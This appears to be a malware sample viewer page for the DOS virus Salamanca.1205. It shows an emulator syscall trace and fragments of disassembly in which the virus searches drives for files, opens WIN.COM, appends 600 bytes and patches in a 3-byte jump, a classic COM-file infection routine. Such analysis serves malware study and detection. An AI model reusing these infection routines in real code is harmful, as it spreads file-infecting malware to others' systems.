Sample viewer

vx.netlux.org/Virus.DOS.Salamanca.1205

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:22:20.928788378Z 53 PC: 12a6c | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:22:20.93182556Z 37 PC: 12a80 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:22:20.933619656Z 47 PC: 12a85 | Get disk transfer address
2018-12-17T22:22:20.935448915Z 26 PC: 12a97 | Set disk transfer address
2018-12-17T22:22:20.93718804Z 25 PC: 12a9b | Get default drive
2018-12-17T22:22:20.939732765Z 71 PC: 12aa8 | Get current directory
2018-12-17T22:22:20.943372181Z 14 PC: 12abe | Set default drive (Drive = 'C')
2018-12-17T22:22:20.945181581Z 59 PC: 12c5e | Change current directory
2018-12-17T22:22:20.950013636Z 44 PC: 12ac5 | Get time 0x12ac5: shr dl, 1
0x12ac7: shr dl, 1
0x12ac9: add dl, 0x40
0x12acc: mov byte ptr [bp + 0x238], dl
0x12ad0: xor bx, bx
0x12ad2: mov ah, 0x4e
0x12ad4: lea dx, word ptr [bp + 0x238]
0x12ad8: mov cx, 0x11
0x12adb: int 0x21
0x12add: jae 0x12afb
0x12adf: mov al, byte ptr [bp + 0x238]
0x12ae3: inc al
0x12ae5: cmp al, 0x5a
0x12ae7: jbe 0x12aeb
0x12ae9: sub al, 0x1a
0x12aeb: mov byte ptr [bp + 0x238], al
0x12aef: inc bh
0x12af1: cmp bh, 0x1b
0x12af4: je 0x12aa8
0x12af6: jmp 0x12ad2
2018-12-17T22:22:20.952447383Z 78 PC: 12add | Find first file
2018-12-17T22:22:20.959207774Z 78 PC: 12add | Find first file
2018-12-17T22:22:20.966053284Z 78 PC: 12add | Find first file
2018-12-17T22:22:20.972055885Z 78 PC: 12add | Find first file
2018-12-17T22:22:20.978640593Z 78 PC: 12add | Find first file
2018-12-17T22:22:20.985613005Z 78 PC: 12add | Find first file
2018-12-17T22:22:20.992151491Z 78 PC: 12add | Find first file
2018-12-17T22:22:20.998102918Z 78 PC: 12add | Find first file
2018-12-17T22:22:21.004861832Z 59 PC: 12b02 | Change current directory
2018-12-17T22:22:21.014413275Z 78 PC: 12b0d | Find first file
2018-12-17T22:22:21.025092356Z 67 PC: 12b6b | Get or set file attributes
2018-12-17T22:22:21.032761093Z 67 PC: 12b78 | Get or set file attributes
2018-12-17T22:22:21.464161842Z 61 PC: 12b80 | Open file (Filename = 'WIN.COM')
2018-12-17T22:22:21.472208065Z 87 PC: 12b86 | Get or set file date and time
2018-12-17T22:22:21.474101632Z 44 PC: 12b99 | Get time 0x12b99: or dx, dx
0x12b9b: je 0x12b95
0x12b9d: mov word ptr [bp + 0x24f], dx
0x12ba1: mov ah, 0x3f
0x12ba3: lea dx, word ptr [bp + 0x22f]
0x12ba7: mov cx, 3
0x12baa: int 0x21
0x12bac: mov ax, 0x4202
0x12baf: xor cx, cx
0x12bb1: cdq
0x12bb2: int 0x21
0x12bb4: sub ax, 3
0x12bb7: mov word ptr cs:[0xfa79], ax
0x12bbb: mov byte ptr cs:[0xfa78], 0xe9
0x12bc1: nop
0x12bc2: nop
0x12bc3: nop
0x12bc4: lea si, word ptr [bp - 5]
0x12bc7: nop
0x12bc8: mov di, 0xfb2c
2018-12-17T22:22:21.477691699Z 63 PC: 12bac | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:22:21.484051684Z 66 PC: 12bb4 | Move file pointer
2018-12-17T22:22:21.485548908Z 64 PC: 12be4 | Write file or device (Write 600 bytes on handle 5)
2018-12-17T22:22:21.495943709Z 66 PC: 12bec | Move file pointer
2018-12-17T22:22:21.497988012Z 64 PC: 12bfc | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:22:21.501539804Z 87 PC: 12c11 | Get or set file date and time
2018-12-17T22:22:21.505047158Z 62 PC: 12c15 | Close file
2018-12-17T22:22:21.513991391Z 67 PC: 12c22 | Get or set file attributes
2018-12-17T22:22:21.524738177Z 14 PC: 12c68 | Set default drive (Drive = 'A')
2018-12-17T22:22:21.527363935Z 59 PC: 12c5e | Change current directory
2018-12-17T22:22:21.53194082Z 59 PC: 12c70 | Change current directory
2018-12-17T22:22:21.53412672Z 37 PC: 12c3b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:22:21.535483609Z 26 PC: 12c4b | Set disk transfer address